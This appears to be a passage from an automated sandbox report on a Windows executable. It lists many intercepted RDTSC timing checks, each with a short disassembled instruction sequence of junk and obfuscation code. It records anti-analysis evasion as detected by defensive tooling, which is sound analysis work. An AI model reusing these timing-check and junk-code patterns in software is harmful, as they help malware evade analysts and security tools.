Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD43D second address: EAD4EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8428CC376Eh 0x0000000e popad 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D1FEFh] 0x00000016 push dword ptr fs:[00000000h] 0x0000001d sbb edi, 0D7C2404h 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a jmp 00007F8428CC376Fh 0x0000002f mov eax, dword ptr [ebp+122D1721h] 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F8428CC3768h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov dword ptr [ebp+1244D7A7h], edx 0x00000055 jo 00007F8428CC376Bh 0x0000005b sub bx, E641h 0x00000060 push FFFFFFFFh 0x00000062 sub dword ptr [ebp+12458D28h], esi 0x00000068 nop 0x00000069 push ecx 0x0000006a pushad 0x0000006b pushad 0x0000006c popad 0x0000006d jbe 00007F8428CC3766h 0x00000073 popad 0x00000074 pop ecx 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F8428CC3772h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE272 second address: EAE276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD4EC second address: EAD4F6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8428CC376Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE276 second address: EAE2DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D24F8h], ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F8428B8CB48h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edi, 32DD5A5Fh 0x00000032 call 00007F8428B8CB4Fh 0x00000037 mov edi, 5A510C90h 0x0000003c pop ebx 0x0000003d push 00000000h 0x0000003f mov ebx, ecx 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 jns 00007F8428B8CB4Ch 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE2DA second address: EAE2E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE2E0 second address: EAE2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE2E4 second address: EAE2E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE523 second address: EAE529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAE529 second address: EAE52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6414B second address: E64156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8428B8CB46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64156 second address: E6415C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6415C second address: E64162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64162 second address: E64166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2B9E second address: EB2BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1C9F second address: EB1CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2BA2 second address: EB2C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F8428B8CB48h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 jno 00007F8428B8CB4Ah 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F8428B8CB48h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F8428B8CB48h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 mov edi, 4813EF65h 0x00000055 xchg eax, esi 0x00000056 jp 00007F8428B8CB5Ah 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1CA3 second address: EB1CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2C2D second address: EB2C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1CA9 second address: EB1CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428CC3770h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2C34 second address: EB2C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428B8CB54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3D7F second address: EB3D96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3773h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3D96 second address: EB3DB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4CAE second address: EB4CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F8428CC3766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7262 second address: EB726B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB726B second address: EB726F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4E38 second address: EB4E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4E3D second address: EB4E42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4E42 second address: EB4E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F8428B8CB59h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4E6A second address: EB4E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4F26 second address: EB4F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4F2A second address: EB4F37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB84A0 second address: EB854E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jnl 00007F8428B8CB50h 0x00000011 nop 0x00000012 mov ebx, dword ptr [ebp+122D3709h] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov di, DC46h 0x00000023 mov ebx, dword ptr [ebp+122D3729h] 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F8428B8CB48h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a mov edi, dword ptr [ebp+122D3781h] 0x00000050 mov edi, 0A894DC1h 0x00000055 mov eax, dword ptr [ebp+122D0C25h] 0x0000005b push 00000000h 0x0000005d push ebx 0x0000005e call 00007F8428B8CB48h 0x00000063 pop ebx 0x00000064 mov dword ptr [esp+04h], ebx 0x00000068 add dword ptr [esp+04h], 00000019h 0x00000070 inc ebx 0x00000071 push ebx 0x00000072 ret 0x00000073 pop ebx 0x00000074 ret 0x00000075 sbb bh, FFFFFFD3h 0x00000078 push FFFFFFFFh 0x0000007a and di, C178h 0x0000007f nop 0x00000080 pushad 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB854E second address: EB855B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F8428CC376Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB855B second address: EB8566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8566 second address: EB856A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB467 second address: EBB477 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jng 00007F8428B8CB46h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB477 second address: EBB47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB47D second address: EBB481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB481 second address: EBB485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB485 second address: EBB4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8428B8CB54h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBBAA3 second address: EBBAB6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jbe 00007F8428CC3766h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBBCC0 second address: EBBD6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jno 00007F8428B8CB50h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F8428B8CB48h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 movzx edi, cx 0x0000002c push edi 0x0000002d movsx ebx, cx 0x00000030 pop ebx 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov dword ptr [ebp+122D22D4h], edi 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 jmp 00007F8428B8CB53h 0x0000004a mov eax, dword ptr [ebp+122D174Dh] 0x00000050 mov edi, dword ptr [ebp+122D21CFh] 0x00000056 push FFFFFFFFh 0x00000058 sub dword ptr [ebp+1245D2A0h], edx 0x0000005e and bx, 48A7h 0x00000063 nop 0x00000064 push eax 0x00000065 jnp 00007F8428B8CB4Ch 0x0000006b pop eax 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 jmp 00007F8428B8CB54h 0x00000075 push eax 0x00000076 pop eax 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCD16 second address: EBCD3C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8428CC377Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCD3C second address: EBCD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D453 second address: E5D45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B2D second address: EC6B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8428B8CB58h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B55 second address: EC6B5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B5D second address: EC6B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC65AC second address: EC65B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC65B0 second address: EC65B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC65B6 second address: EC65BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC65BA second address: EC65C4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8428B8CB46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC65C4 second address: EC65CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED21D0 second address: ED21D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED21D4 second address: ED21DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2748 second address: ED2753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8428B8CB46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2753 second address: ED2759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2759 second address: ED2763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8428B8CB46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2A8B second address: ED2A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2C3C second address: ED2C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2C40 second address: ED2C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2C46 second address: ED2C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8428B8CB51h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2C60 second address: ED2C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2C66 second address: ED2C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2C70 second address: ED2C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2E00 second address: ED2E21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB4Bh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8428B8CB4Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2E21 second address: ED2E27 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2E27 second address: ED2E34 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8428B8CB48h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2E34 second address: ED2E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428CC376Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2E49 second address: ED2E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F8428B8CB56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3411 second address: ED341B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8428CC3766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED341B second address: ED3446 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8428B8CB5Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007F8428B8CB46h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3446 second address: ED3459 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F8428CC3766h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3459 second address: ED3467 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3467 second address: ED3470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3470 second address: ED347C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8428B8CB46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED347C second address: ED3484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCED6 second address: EDCEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jng 00007F8428B8CB4Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCEEA second address: EDCF01 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8428CC376Ah 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCF01 second address: EDCF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD050 second address: EDD081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F8428CC376Ah 0x0000000c jmp 00007F8428CC376Ah 0x00000011 pop edx 0x00000012 popad 0x00000013 jo 00007F8428CC378Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b jno 00007F8428CC3766h 0x00000021 je 00007F8428CC3766h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDDB43 second address: EDDB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDDB47 second address: EDDB6F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8428CC3766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F8428CC3778h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDDB6F second address: EDDB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE275E second address: EE2767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2767 second address: EE276B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2B37 second address: EE2B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
